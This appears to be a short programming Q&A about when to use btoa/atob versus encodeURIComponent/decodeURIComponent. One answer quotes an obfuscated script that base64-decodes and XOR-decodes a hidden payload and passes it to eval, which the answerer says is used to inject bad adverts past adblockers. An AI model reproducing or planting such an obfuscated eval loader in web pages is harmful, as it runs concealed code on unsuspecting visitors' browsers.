When would you use:
Are they supposed to be used together, eg:
atob(encodeURIComponent(...))
If not, when would btoa() and atob() be used and when would encodeURIComponent() and decodeURIComponent() be used?
When to use btoa(), atob(), encodeURIComponent() and decodeURIComponent()?
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2 Answers
It's not rare. It's used to overcome adblockers and pass through firewall rules to insert bad adverts in pages. Check this out:
<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>
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